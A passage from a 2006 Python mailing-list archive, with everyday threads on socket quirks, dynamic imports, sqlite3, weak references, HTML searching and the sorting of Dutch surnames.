> > for i in range(2,12):
> >     seq = range(1,i)
> >     numcols = int(sqrt(len(seq)))
> >     print columnise(seq, numcols)
> >
>
> should be:
>
>   numcols = int(sqrt(len(seq) + 0.5)
>

Feck! Missing a fecking bracket:

   numcols = int(sqrt(len(seq)) + 0.5)



From fredrik at pythonware.com  Mon Oct 23 01:56:32 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 23 Oct 2006 07:56:32 +0200
Subject: Socket module bug on OpenVMS
In-Reply-To: <453ba3a8$0$322$e4fe514c@news.xs4all.nl>
References: <453ba3a8$0$322$e4fe514c@news.xs4all.nl>
Message-ID: <ehhlif$7pm$1@sea.gmane.org>

Irmen de Jong wrote:

> This also raises the question to what extent Python itself should
> work around platform specific "peculiarities", such as this one.
> There's another problem with socket code on Windows and VMS systems,
> where you get strange exceptions when using a "too big" recv() buffer.

what's a "strange exception" and a "too big" buffer?

> Things like this force me into writing all sorts of error checking
> code or platform specific functions, to work around these bugs.
> Just for what was supposed to be a simple socket recv() and a
> simple socket send()...

if you want buffering, use makefile().  relying on platform-specific 
behaviour isn't a good way to write portable code.

</F>



From nairarunv at gmail.com  Thu Oct 26 03:38:59 2006
From: nairarunv at gmail.com (Arun Nair)
Date: 26 Oct 2006 00:38:59 -0700
Subject: Can any one help with solving this program it just doesnt take
	probability of the second team
In-Reply-To: <ehpnb9$r04$01$1@news.t-online.com>
References: <1161845731.501326.46510@h48g2000cwc.googlegroups.com>
	<ehpnb9$r04$01$1@news.t-online.com>
Message-ID: <1161848339.065993.299220@f16g2000cwb.googlegroups.com>

Thanks a ton peter its working.


Peter Otten wrote:
> Arun Nair wrote:
>
> > ''' Can anyone help me with this program it just takes probability of
> > the first team and runs the program doesnt takes the probability of the
> > second team even though specified'''
>
> > def simGame(probA, probB):
> >     scoreA = 0
> >     scoreB = 0
> >     serving = "A"
> >     while not gameOver(scoreA, scoreB):
> >         if serving == "A":
> >             if random() < probA:
> >                 scoreA = scoreA + 1
> >             else:
> >                 serving == "B"
>
> Hint: this is not an assignment.
>
> >         else:
> >             if random() < probB:
> >                 scoreB = scoreB + 1
> >             else:
> >                 serving == "A"
> 
> Same thing.
> 
> >     return scoreA, scoreB
> 
> Peter



From tuomas.vesterinen at pp.inet.fi  Thu Oct  5 12:21:00 2006
From: tuomas.vesterinen at pp.inet.fi (Tuomas)
Date: Thu, 05 Oct 2006 16:21:00 GMT
Subject: user modules
In-Reply-To: <eg29os$6b4$1@enyo.uwa.edu.au>
References: <eg29os$6b4$1@enyo.uwa.edu.au>
Message-ID: <MhaVg.369$X%5.116@read3.inet.fi>

Cameron Walsh wrote:
> Hi,
> 
> I'm writing a python program to analyse and export volumetric data.  To 
> make development and extension easier, and to make it more useful to the 
> public when it is released (LGPL), I would like to enable users to place 
> their own python files in a "user_extensions" directory.  These files 
> would implement a common interface in order for the main program to be 
> able to read them and execute the necessary code.
> 
> My question is what is the best way of implementing this?
> 
> I have investigated importing them as modules, but unless the user 
> modifies the main program I cannot see how the main program can learn of 
> the existence of specific modules.
> 
> For example:
> 
> from user_modules import *
> # directory 'user_modules' contains __init__.py allowing this
> # From here I would need a list of the imported modules, in order to
> # execute a common command on each of them, such as
> 
> for module in imported_modules:
>     module.initialise()
>     module.get_tab_window()
> 
> 
> How do I get from the first bit to the second bit, or is there a better 
> way of obtaining the functionality I need?
> 
> 
> --Cameron.

import os

files=os.listdir('user_modules')
tabs=[]
for fle in files:
     if fle.endswith('.py'):
         module=__import__(fle[0:-3], 'user_modules', None,
                ['initialise', 'get_tab_window'])
         module.initialise()
         tabs.append(module.get_tab_window())

*not tested*

print __import__.__doc__
__import__(name, globals, locals, fromlist) -> module

Import a module.  The globals are only used to determine the context;
they are not modified.  The locals are currently unused.  The fromlist
should be a list of names to emulate ``from name import ...'', or an
empty list to emulate ``import name''.
When importing a module from a package, note that __import__('A.B', ...)
returns package A when fromlist is empty, but its submodule B when
fromlist is not empty.

Tuomas



From erikwickstrom at gmail.com  Sun Oct  8 18:30:15 2006
From: erikwickstrom at gmail.com (erikcw)
Date: 8 Oct 2006 15:30:15 -0700
Subject: Dive Into Java?
Message-ID: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>

DiveIntoPython.org was the first book I read on python, and I really
got a lot out of it.  I need to start learning Java (to maintain a
project I've inherited), and was wondering if anyone knew of any
similar books for Java?

Maybe once I know my way around the language, I can sneak Jython in...
:-)

Thanks!
Erik



From MonkeeSage at gmail.com  Thu Oct  5 22:22:50 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 5 Oct 2006 19:22:50 -0700
Subject: Metaprogramming question
References: <QMiVg.52605$qF1.285329@weber.videotron.net>
Message-ID: <1160101370.674054.64620@i3g2000cwc.googlegroups.com>

Steve Menard wrote:
> So my question is, how to replicate new.instance() functionality with new
> classes?

class A(object):
  def __init__(self):
    print "Class A"
A()
A.__new__(A) # <- this one

Regards,
Jordan



From fredrik at pythonware.com  Thu Oct 12 01:45:30 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 07:45:30 +0200
Subject: python 2.5 & sqlite3
In-Reply-To: <1160616758.718092.210130@m73g2000cwd.googlegroups.com>
References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com>	<mailman.337.1160600574.11739.python-list@python.org>	<1160603125.964879.17480@m73g2000cwd.googlegroups.com>	<mailman.338.1160604416.11739.python-list@python.org>
	<1160616758.718092.210130@m73g2000cwd.googlegroups.com>
Message-ID: <egkkpr$3v9$1@sea.gmane.org>

John Machin wrote:

> The Activestate Python 2.5 distribution is not yet available.
> 
> (1) Why is the effbot saying that a not-yet available distribution is
> broken?

because I misread the "waiting for" in the first paragraph; Python 2.5 
has been out for some while, and the OP's post didn't appear to make any 
sense if he wasn't using a 2.5 build, and had found that he had a 
wrapper but no driver DLL.  Occam's razor.

but given that he wasn't using a 2.5 install, his post makes even less 
sense.  I guess I need to get myself a new razor.

I still think the "get the official build (and add win32all if you're 
doing native windows stuff)" advice is sound, though.

</F>



From lycka at carmen.se  Thu Oct 19 11:20:06 2006
From: lycka at carmen.se (Magnus Lycka)
Date: Thu, 19 Oct 2006 17:20:06 +0200
Subject: Book about database application development?
In-Reply-To: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
References: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
Message-ID: <eh8536$vk3$1@wake.carmen.se>

Wolfgang Keller wrote:
> does anyone know of a good book that about development of database 
> applications?

Scott Ambler's "Agile Database Techniques"

Regardless of whether you'll actually use a full MVC framework or
not, I suggest that you write model classes that are fully decoupled
from the UI. Work in a test-driven fashion, writing tests first
and just coding until the test goes through, and then write the
next test. See e.g. Kent Beck's "Test-Driven Development". If
you use an SQL database below some ORM, you can use SQLite with
an in-memory database ":memory:" for your functional test. Fast
and simple.

I'd make the GUI as thin as possible, since GUI code it typically
more complicated to test automatically.


From cesar.ortiz at gmail.com  Mon Oct  9 04:40:18 2006
From: cesar.ortiz at gmail.com (cesar.ortiz at gmail.com)
Date: 9 Oct 2006 01:40:18 -0700
Subject: Memory Management in python 2.5
Message-ID: <1160383218.694248.198570@b28g2000cwb.googlegroups.com>

Hi, I am starting to have a look to a python program that does not free
memory (I am using python 2.4.3). As I have read about a new memory
management in python 2.5 (http://evanjones.ca/python-memory.html) I
decided to try the program with the new version.
With the new version of python the memory consumption is the same. Now
I am asking myself if  python 2.5 has any improving  in memory
management or maybe not yet. Thank you.

-- Cesar



From anthra.norell at vtxmail.ch  Mon Oct 16 03:06:57 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Mon, 16 Oct 2006 09:06:57 +0200
Subject: File read-write mode: problem appending after reading
In-Reply-To: <1f7befae0610141327q6ee89395t424bd2adf8c8ad5d@mail.gmail.com>
References: <452F3F8C.2070706@vtxmail.ch>	<1f7befae0610130057t82ce874h27cd7e7424efb371@mail.gmail.com>	<453142A2.4000404@vtxmail.ch>
	<1f7befae0610141327q6ee89395t424bd2adf8c8ad5d@mail.gmail.com>
Message-ID: <45332F91.90307@vtxmail.ch>

Tim Peters wrote:
> [Frederic Rentsch]
>   
>>       Thanks a lot for your input. I seemed to notice that  everything
>> works fine without setting the cursor as long as it stops before the end
>> of the file. Is that also a coincidence that may not work?
>>     
>
> "if you want to read following a write, or write following a read, on
> the same stream, you must perform a file-positioning operation
> (typically a seek) between them"
>   
I appreciate the clarification. Thanks!


From ebgssth at gmail.com  Mon Oct  2 12:30:55 2006
From: ebgssth at gmail.com (js )
Date: Tue, 3 Oct 2006 01:30:55 +0900
Subject: Sort by domain name?
In-Reply-To: <KSaUg.21719$DU3.21594@tornado.texas.rr.com>
References: <mailman.1094.1159801691.10491.python-list@python.org>
	<KSaUg.21719$DU3.21594@tornado.texas.rr.com>
Message-ID: <a23effaf0610020930p29d1c856q4771d49a9e4fad27@mail.gmail.com>

> How about sorting the strings as they are reversed?
>
> urls = """\
> http://mail.google.com
> http://reader.google.com
> http://mail.yahoo.co.uk
> http://google.com
> http://mail.yahoo.com""".split("\n")
>
> sortedList = [ su[1] for su in sorted([ (u[::-1],u) for u in urls ]) ]
>
> for url in sortedList:
>     print url
>
<snip>
>
> Close to what you are looking for, might be good enough?

Great... I couldn't thought that way. Thanks a lot!


From tenax.raccoon at gmail.com  Mon Oct 30 17:13:54 2006
From: tenax.raccoon at gmail.com (Jason)
Date: 30 Oct 2006 14:13:54 -0800
Subject: create global variables?
References: <4546317A.8040500@helsinki.fi>
	<4546349A.7070701@islandtraining.com>
	<mailman.1498.1162229282.11739.python-list@python.org>
Message-ID: <1162246434.108589.308540@e64g2000cwd.googlegroups.com>


Alistair King wrote:
> have tried:
>
> def monoVarcalc(atom):
>     a = atom + 'aa'
>     Xaa = a.strip('\'')
>     m = atom + 'ma'
>     Xma = m.strip('\'')
>     global Xma
>     global Xaa
>     Xaa = DS1v.get(atom)
>     Xma = pt.get(atom)
>     print Xma
>     print Xaa
>
> monoVarcalc('C')
>
> print Caa
> print Cma
> .......................................................................................................
>
> where global Xma & Xaa are before and after any further functions
>
> i get still get the error
>
> Traceback (most recent call last):
>   File "DS1excessH2O.py", line 54, in ?
>     print Caa
> NameError: name 'Caa' is not defined

Mr King, please look at the documentation for the global keyword.  You
can either see it at "http://docs.python.org/ref/global.html#l2h-564".
You can also access information about it using Python's help function
(use "help('global')" to see its help).

The global statement makes the names that follow available globally.
It does *not* evaluate the name in any way.  If you have "global Xma"
in your code as above, the name Xma becomes a global name.  That name
happens to contain the string value "Caa" in it.  The local name "Caa"
is not placed into the global name-space because you didn't put it into
the global statement.

Heck, I don't see that you have a local variable with the name "Caa".
You have three local variables and two global variables in the
monoVarcalc function:
  -- "atom" is the name of the parameter to the function.  The name is
only local to the function.
  -- "a" and "m" are local variables in the function.  They are the
result of adding strings to atom.
  -- "Xaa" and "Xma" are global names.  They are assigned values from
the local variables "m" and "a".  You then overwrite their values with
the global object DSv1's and pt's get methods.

As others have shown, you can use the dictionary-like object returned
by the globals() function to place arbitrary names into the global
namespace.

However, I highly recommend that you review your algorithms.  I
generally find that programs designed with many globals is a sign that
the program is badly designed.  I also recommend that you resolve any
syntax warnings that your program may be generating (hint: relocate
your global statement to the top of your function).

Your program could probably benefit from a number of things that Python
does well:

  -- Python has very efficient dictionaries.  Dictionaries allow you to
easily pass around things like your values in the above program.

  -- Python makes it trivial to return multiple values.  If you simply
need to return more than one value from the function, just return a
tuple.

  -- Python's object-oriented programming model and nested name-spaces
are pretty easy to use.  If you are unfamiliar with object-oriented
programming, there are a number of tutorials out there that can help.
You don't need to use objects with Python, but there are many cases
where they will "obviously" work far better than ugly procedural-level
hacks.  (By obviously, I mean that it will be pretty easy to understand
exactly what you did later on.)

Python's website has a tutorial section
(http://www.python.org/doc/Intros.html) and many people recommend the
"Dive Into Python" tutorial series (http://www.diveintopython.org/).
Do a google search for "Python tutorials" for more information.

    --Jason



From arno at cs.vu.nl  Thu Oct  5 22:22:23 2006
From: arno at cs.vu.nl (Bakker A)
Date: Fri, 6 Oct 2006 02:22:23 GMT
Subject: Restoring override of urllib.URLopener.open_https
References: <eg3772$cqd@cs.vu.nl> <16hai25meev3316o19tgmh646futjblfgl@4ax.com>
Message-ID: <eg4ekv$im@cs.vu.nl>

In article <16hai25meev3316o19tgmh646futjblfgl at 4ax.com>,
goyatlah  <seresta At wanadoo Dot nl> wrote:
>
>I think that you need a superclass above the M2Crypto one, and change
>the open_https method back to the urllibs one.
>

I'm not sure I get your suggestion. What the M2Crypto module does is:

	import m2urllib 

in its __init__.py, which blatantly does

	from urllib import *
	URLopener.open_https = open_https
	
in turn, so there's no subclassing going on, and AFAIK, the original urllib
code is irreversibly overwritten. Am I right?

Thanks,
       Arno
       


From jeff at taupro.com  Wed Oct 11 11:53:21 2006
From: jeff at taupro.com (Jeff Rush)
Date: Wed, 11 Oct 2006 10:53:21 -0500
Subject: Call for Members of Panels on Web Technologies
Message-ID: <452D1371.2090306@taupro.com>

Talks at previous PyCons have tended to be of the lecture format.  I'd like to
see if we can get some panel discussions going and am looking for participants.

At PyCon 2005 in D.C. Michelle Levesque gave a wonderful talk, PyWebOff,
contrasting a few of the web frameworks.  However, it is a lot of work to
research many of them, so how about instead we just invite some experts for
the various frameworks to debate them instead?  And answer tough questions
from the audience?

For updating, links to the following rough outlines are at:
  http://us.pycon.org/TX2007/TalkIdeas

We need some moderators to work up more questions, and to coordinate with the
panelists.  Hey, it may be easier than preparing your own presentation and slides.

I'd like to see three talk panels:

---
Panel - Web Frameworks
Frameworks

 * Django
 * Zope 2
 * Zope 3
 * Twisted Web
 * Quixote
 * TurboGears

Questions Put To the Panel

 * When did the framework come into existence and what problem
   was it created to solve?
 * What are its strengths and maturity level? What is it ideal
   to use for?
 * What are its weaknesses? What would you NOT use it for?

---
Panel - Web Templating Languages
Templates Covered

 * Zope TAL, TALES, METAL
 * Twisted STAN
 * Cheetah
 * Myghty
 * Django's Template Language
 * TurboGears Kid
 * Quixote Python Template Language (PTL)

Questions to Put to the Panelists

 * Python code in your HTML, or HTML in your code?
 * Which can and cannot be handed off to a graphics designer?
 * Where do they stand in performance? in Caching?
 * Which can work with less than a page i.e. Zope viewlets, widgets?
 * Which frameworks let me plug in my choice of template language?

(initially show the audience a representative sample of each)

---
Panel - Object Relational Mappers (ORMs)
Mappers Covered

 * SQLObject
 * SQLAlchemy
 * Django ORM

Questions Put to Panelists

 * Natural or artificial keys?
 * Support for existing database schemas or must I
   do it your way?
 * How is the performance?
 * How smart is it in handling complex schema?
 * Any support for access control security at the
   object level?
 * What flavor and degree of transaction support is
   offered? Per thread, per context, autocommit?

-Jeff
Co-Chair PyCon 2007


From pydecker at gmail.com  Thu Oct 12 00:02:45 2006
From: pydecker at gmail.com (Peter Decker)
Date: Thu, 12 Oct 2006 00:02:45 -0400
Subject: Python component model
In-Reply-To: <1160622492.360486.207270@m73g2000cwd.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<mailman.343.1160617110.11739.python-list@python.org>
	<1160618190.314729.236250@c28g2000cwb.googlegroups.com>
	<mailman.344.1160618838.11739.python-list@python.org>
	<1160622492.360486.207270@m73g2000cwd.googlegroups.com>
Message-ID: <ca55a9900610112102j70881dfbv1d631cc4c2248163@mail.gmail.com>

On 11 Oct 2006 20:08:12 -0700, Ilias Lazaridis <ilias at lazaridis.com> wrote:

> > Well, then, why not contribute? Or are you waiting for everyone else
> > to do it for you?
>
> I've contributed already (my contructive criticism).
>
> It's up to the team to react.

Wow! What a contribution! Amazing that Dabo hasn't taken over the
world with that sort of help pouring in!

Anybody can criticize. It's easy to find fault; it's much harder to
create something valuable.

I saw the references to your being a troll, and thought I'd give you
the benefit of the doubt. Guess I'm still too optimistic.

-- 

# p.d.


From ironpythonster at gmail.com  Fri Oct 13 03:49:44 2006
From: ironpythonster at gmail.com (Kevien Lee)
Date: Fri, 13 Oct 2006 15:49:44 +0800
Subject: A question about call Wincvs
Message-ID: <8c8dcbe30610130049h24ed55d7u9177f06457a8d3b8@mail.gmail.com>

Hi,
In the Wincvs,if want to get  commitable file list in local file list,it
could "click flat mode->show commitable "
But ,if i want to through command line ,how show it do?
Is there any CVS lib?

Thanks.
Kevin Lee
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From ptmcg at austin.rr._bogus_.com  Mon Oct 16 09:57:16 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Mon, 16 Oct 2006 13:57:16 GMT
Subject: A Universe Set
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
	<mailman.1224.1159935216.10491.python-list@python.org>
	<slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
Message-ID: <0dMYg.105676$5o5.58612@tornado.texas.rr.com>

> - the wildcard object, which compares equal to everything else

class MatchAny(object):
    def __cmp__(self,other):
        return 0

wild = MatchAny()

print wild == 1000
print 1000 == wild
print wild == (1,2,3)
print wild == 'abck'
print wild == wild

print wild != 1000
print 1000 != wild
print wild != (1,2,3)
print wild != 'abck'
print wild != wild


Prints:
True
True
True
True
True
False
False
False
False
False 




From jstroud at mbi.ucla.edu  Tue Oct 31 02:08:54 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Tue, 31 Oct 2006 07:08:54 GMT
Subject: make a simple search function for homepage
In-Reply-To: <1162275085.749477.12480@b28g2000cwb.googlegroups.com>
References: <1162275085.749477.12480@b28g2000cwb.googlegroups.com>
Message-ID: <aEC1h.25559$7I1.10358@newssvr27.news.prodigy.net>

HYRY wrote:
> I want to add some simple search function for my homepage. It need to
> search through all the html files of my homepage (about 300 pages), and
> highlight the search words.
> 
> I made some test with HTMLParser, it works but slow. So, my question is
> how can I improve its speed?
> 
> from HTMLParser import HTMLParser
> 
> class HightLightParser(HTMLParser):
> 	def __init__(self, outfile, words):
> 		self.outfile = outfile
> 		self.words = words
> 		self.found = False
> 		HTMLParser.__init__(self)
> 
> 	def handle_starttag(self, tag, attrs):
> 		self.outfile.write( self.get_starttag_text( ) )
> 
> 	def handle_endtag(self, tag):
> 		self.outfile.write( "</%s>" % tag )
> 
> 	def handle_data(self, data):
> 		for word in self.words:
> 			data = data.replace(word, "<font color=red>%s</font>" % word)
> #highlight
> 		self.outfile.write(data)
> 
> class SearchParser(HTMLParser):
> 	def __init__(self, words):
> 		self.words = words
> 		self.found = False
> 		HTMLParser.__init__(self)
> 
> 	def handle_data(self, data):
> 		for word in self.words:
> 			if word in data:      # search
> 				self.found = True
> 
> 
> words = ["the"]
> x = SearchParser(words)
> data = file("input.htm").read()
> x.feed(data)
> if x.found:
> 	y = HightLightParser(file("output.htm", "w"),words)
> 	y.feed(data)
> 

google "google".

Seriously though, perhaps you may want to index your pages first. Maybe 
checkout divmod (http://divmod.org/trac/wiki/DivmodXapwrap).

James


From m.errami at gmail.com  Wed Oct 18 10:09:05 2006
From: m.errami at gmail.com (m.errami at gmail.com)
Date: 18 Oct 2006 07:09:05 -0700
Subject: Restart a Python COM Server
In-Reply-To: <mn.91b57d6a505f869a.46195@XX.XmclaveauX.com>
References: <1161137817.550348.157890@m73g2000cwd.googlegroups.com>
	<mn.91b57d6a505f869a.46195@XX.XmclaveauX.com>
Message-ID: <1161180545.007415.293450@b28g2000cwb.googlegroups.com>

OK,
well thank you for your help (merci pour ton aide!)
M.E.


MC wrote:
> Hi!
>
> It is the normal behavior of COM.
>
> Note that, Python being dynamic, you can modify Python script, OF THE
> INTERIOR, during execution.
> 
> -- 
> @-salutations
> 
> Michel Claveau



From fabianosidler at gmail.com  Tue Oct 24 14:50:33 2006
From: fabianosidler at gmail.com (Fabiano Sidler)
Date: Tue, 24 Oct 2006 18:50:33 +0000
Subject: Current stackdepth outside PyEval_EvalFrameEx
In-Reply-To: <200610230220.47741.fabianosidler@gmail.com>
References: <200610230220.47741.fabianosidler@gmail.com>
Message-ID: <200610241850.34018.fabianosidler@gmail.com>

On Monday 23 October 2006 02:20, I wrote:
> I'm trying to implement a python function that returns the current stack
> depth of its frame. Unfortunately, I don't see any possibility to get this
> value outside of PyEval_EvalFrameEx. Inside of it, I'd use the STACK_LEVEL
> macro. How do I do it?

No hints?

Greetings,
Fips


From mairas at iki.fi  Fri Oct 20 15:45:14 2006
From: mairas at iki.fi (Matti Airas)
Date: Fri, 20 Oct 2006 22:45:14 +0300
Subject: Releasing weakrefed objects immediately?
Message-ID: <pan.2006.10.20.19.45.12.894080@iki.fi>

Hi all,

I've been toying with an idea of dependency-based coding, in which you
construct a graph of code dependencies. Say, you have independent
variables 'a' and 'b', and a function f(x,y). Now, you can define that a,b
are dependencies for f(a,b). Whenever a or b are changed, f(a,b) is marked
dirty, and if its value is requested, all the dirty dependencies are
recomputed to evaluate the value of f(a,b). Basically the same idea as in
makefiles.

I also want to have listener objects, so that I could make a GUI text box
depend on f(a,b) so that its value is updated whenever a or b are
modified. So far so good, and all of this I have already implemented. My
problem, however, is that I want to be able to destroy the listener
objects at will, for example when a window is closed. Unfortunately, even
though the only real reference to an object is destroyed, the weak
references seem to keep the listener alive (or the garbage collector won't
kick in for some other reason, even though explicitly called).

Here is the code snippet for my test case:

    def testlistener(self):
        self.input1 = Dep(value=3,id="input1")
        self.input2 = Dep(value=4,id="input2")
        self.output1 = Dep((self.input1,self.input2),lambda x,y: x*y,
                            id="output1")
        self.listenerResult = 0
        def listenerFunc(self,x):
            self.listenerResult = x
        self.listener1 = Dep((self.output1,),
                             lambda x: listenerFunc(self,x),
                             id="listener1",
                             isListener=True)
        self.assertEqual(self.listenerResult,12)
        self.input1.value = 5
        self.assertEqual(self.listenerResult,20)
        #self.listener1._code = lambda x: x
        del self.listener1
        gc.collect()
        self.input1.value = 4
        self.assertEqual(self.listenerResult,20)

The self.listenerResults always is 16 in the final asserEqual, despite
that I have deleted the listener. If I "neuter" the listener by
uncommenting the commented line, I get the right result. So, how could I
make sure that the listener is no longer called when the only strong ref
is removed?

The actual depcode class with the complete testcase and another example
using scipy and matplotlib is available at
http://www.mairas.net/tmp/depcode/ . Note that it is very much code in
progress at the moment.

Thanks for any hints,

Matti Airas



From mdsteele at gmail.com  Tue Oct  3 15:05:41 2006
From: mdsteele at gmail.com (mdsteele at gmail.com)
Date: 3 Oct 2006 12:05:41 -0700
Subject: Looping over a list question
References: <1159897804.722852.8160@i42g2000cwa.googlegroups.com>
Message-ID: <1159902341.687248.227610@k70g2000cwa.googlegroups.com>


stephen at theboulets.net wrote:
> I found myself writing:
>
> for f in [i for i in datafiles if '.txt' in i]:
>     print 'Processing datafile %s' % f
>
> but I was wishing that I could have instead written:
>
> for f in in datafiles if '.txt' in f:
>     print 'Processing datafile %s' % f
>
> Has there ever been a proposal for this? Just wondering ...
>
> Stephen Boulet


Yes, there has:
http://groups.google.ca/group/comp.lang.python/browse_thread/thread/905313cf066c2d18/e6af21b68309415f



From rschroev_nospam_ml at fastmail.fm  Wed Oct 11 04:34:18 2006
From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven)
Date: Wed, 11 Oct 2006 08:34:18 GMT
Subject: People's names
In-Reply-To: <mailman.250.1160532801.11739.python-list@python.org>
References: <JnzSg.36$1n3.471@news.tufts.edu>
	<yCQSg.41$1n3.351@news.tufts.edu>	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>	<mailman.912.1159494600.10491.python-list@python.org>	<eg98qb$6a3$1@lust.ihug.co.nz>	<mailman.93.1160373988.11739.python-list@python.org>	<egd0k3$u3r$2@lust.ihug.co.nz>	<mailman.171.1160464326.11739.python-list@python.org>	<PIJWg.121635$1a4.2250811@phobos.telenet-ops.be>	<m2slhw2iq0.fsf@ordesa.local>
	<mailman.250.1160532801.11739.python-list@python.org>
Message-ID: <e02Xg.123270$O75.2343035@phobos.telenet-ops.be>

Theerasak Photha schreef:
> On 10/10/06, Piet van Oostrum <piet at cs.uu.nl> wrote:
>>>>>>> Roel Schroeven <rschroev_nospam_ml at fastmail.fm> (RS) wrote:
>>> RS> It's the same here in Belgium. Except that our Van is with a capital V in
>>> RS> most cases; if it's a lower v it either indicates nobility or a Dutch name.
>>> RS> I don't see it as a problem. I prefer having Van Straeten and Van Stralen
>>> RS> next to each other than having them mixed up with names without Van like
>>> RS> this:
>>> RS> Straeten, Van
>>> RS> Straetmans
>>> RS> Stralen, Van
>> In Holland it is sorted without the 'van' 'de' etc.
> 
> Which was my original point in mentioning similar Portuguese names. :)
> 
> BTW, do Dutch/Flemish family names now follow the trend of dropping
> declension, as seen in both languages (dialects?) in general: e.g.,
> 'de' instead of 'der'?

My observation is that in general names keep hanging on to archaic forms 
much longer than normal language. Examples:

- A very common name around here is Hendrickx. In normal language, the 
'ckx' construction is replaced with 'ks'.
- 'Straat' (English: 'street') (or 'straten' in multiple) used to be 
written 'straet' ('straeten'); in names it is still written like that: 
'Verstraeten' is a common name. 'Verstraten' exists too though, but is 
less common I think.

But I can't think of that many names with 'der', so maybe the 
declensions have been dropped already.

-- 
If I have been able to see further, it was only because I stood
on the shoulders of giants.  -- Isaac Newton

Roel Schroeven


From ahmerhussain at gmail.com  Fri Oct 13 10:13:49 2006
From: ahmerhussain at gmail.com (Ahmer)
Date: 13 Oct 2006 07:13:49 -0700
Subject: Starting out.
In-Reply-To: <1160714815.630167.305860@m7g2000cwm.googlegroups.com>
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
	<1160714815.630167.305860@m7g2000cwm.googlegroups.com>
Message-ID: <1160748829.927061.26390@i3g2000cwc.googlegroups.com>

Thanks Paddy. That post pretty much cleared up everything for me.

On Oct 13, 12:46 am, "Paddy" <paddy3... at netscape.net> wrote:
> Ahmer wrote:
> > Hi all!
>
> > I am a 15 year old High School Sophomore. I would like to start
> > programming in Python. In school, we are learning Java (5) and I like
> > to use the Eclipse IDE, I also am learning PHP as well.
>
> > What are some ways to get started (books, sites, etc.)? I am usually on
> > linux, but I have a windows box and am planning on getting a mac.Pydev gives you a Python mode for Eclipse:
>  http://pydev.sourceforge.net/
> The Python tutorial is a good way to learn Python:
>  http://docs.python.org/tut/
> Some pointers on writing Python for Java programmers:
>  http://www.ferg.org/projects/python_java_side-by-side.html
> I guess you are new to both Java and Python, but if you know Java and
> were starting Python, the following points out that certain idioms of
> Java do not translate well to Python:
>  http://dirtsimple.org/2004/12/python-is-not-java.html
>
> And finally: Lets 'big-up' Python:
>  http://www.paulgraham.com/pypar.html
>
> I hope you enjoy Python.
> All the best,  Paddy.
>
> P.S. maybe your High school might be interested in teaching Python as a
> first language rather than Java?
>  http://www.oreilly.com/pub/a/oreilly/frank/elkner_0300.html
>
> http://www.python.org/workshops/2000-01/proceedings/papers/elkner/pyY...



From exarkun at divmod.com  Sun Oct 22 13:18:13 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Sun, 22 Oct 2006 13:18:13 -0400
Subject: Socket module bug on OpenVMS
In-Reply-To: <453ba3a8$0$322$e4fe514c@news.xs4all.nl>
Message-ID: <20061022171813.26151.2046773981.divmod.quotient.10111@ohm>

On Sun, 22 Oct 2006 19:00:22 +0200, Irmen de Jong <irmen.nospam at xs4all.nl> wrote:
>Hi,
>
>Recently I was bitten by an apparent bug in the BSD socket layer
>on Open VMS. Specifically, it appears that VMS defines MSG_WAITALL
>in socket.h but does not implement it (it is not in the documentation).
>And I use the socket.MSG_WAITALL flag on my recv() calls... and
>then they crash on OpenVMS.
>
>I don't have access to an OpenVMS machine myself so could someone
>else that has (or has more knowledge of it) shed some light on it?
>
>
>
>This also raises the question to what extent Python itself should
>work around platform specific "peculiarities", such as this one.
>There's another problem with socket code on Windows and VMS systems,
>where you get strange exceptions when using a "too big" recv() buffer.
>
>Things like this force me into writing all sorts of error checking
>code or platform specific functions, to work around these bugs.
>Just for what was supposed to be a simple socket recv() and a
>simple socket send()...
>
>In my opinion Python's socket module itself could implement these
>workarounds. That would make user code a lot cleaner and less
>error prone, and more portable. What do other people think?
>

I think everyone can agree that Python shouldn't crash.  It sounds like
the MSG_WAITALL check could be made somewhat more paranoid to detect the
behavior exhibited by OpenVMS.  Of course, in practice, this is weighed
against developer time and relevative popularity of various platforms.
How many people are using Python on OpenVMS?

Whether Python should propagate other kinds of errors from the underlying
platform is a harder question though.  At the lowest level interface, it
seems to me that it _should_ propagate them.  If there is a general way to
handle them, then a higher layer can be built on top of that lowest level
which does so.  Applications which are not interested in dealing with these
errors can use the higher-level interface (and it probably even makes sense
to recommend the high-level interface for most applications).  Python doesn't
always do a good job of keeping the high and low levels separate though, and
this seems like an area in which Python could stand some improvement.

Jean-Paul


From steve at holdenweb.com  Sun Oct 22 05:24:50 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 22 Oct 2006 10:24:50 +0100
Subject: How to upgrade python from 2.4.3 to 2.4.4 ?
In-Reply-To: <9F423D5F-D0EA-4DF8-81E3-A1006648DC54@ihug.co.nz>
References: <mailman.915.1161491089.11739.python-list@python.org>
	<453af89e$0$12734$9b622d9e@news.freenet.de>
	<ehf8qc$jm7$1@sea.gmane.org>
	<9F423D5F-D0EA-4DF8-81E3-A1006648DC54@ihug.co.nz>
Message-ID: <453B38E2.8040008@holdenweb.com>

Tony Meyer wrote:
>> At the moment SourceForge is only listing one (UK) mirror for  mingw, and
>> that seems to be down. I'm guessing something is broken, since I  know it
>> used to be much more widely available.
> 
> 
> Only one mirror (Kent) is available for any project.  It's been like  
> this for nearly a day now, although the site status still hasn't  
> changed from "online".  There are about 50 open tickets open about it  
> (one would think that people that are able to find the sf.net tickets  
> would be able to check for duplicates first...).
> 
I see. Well, now you know why the PSF has continued to migrate away from 
SourceForge. They are, at best, victims of their own success.

I found that a wget will, eventually, access the required files, albeit 
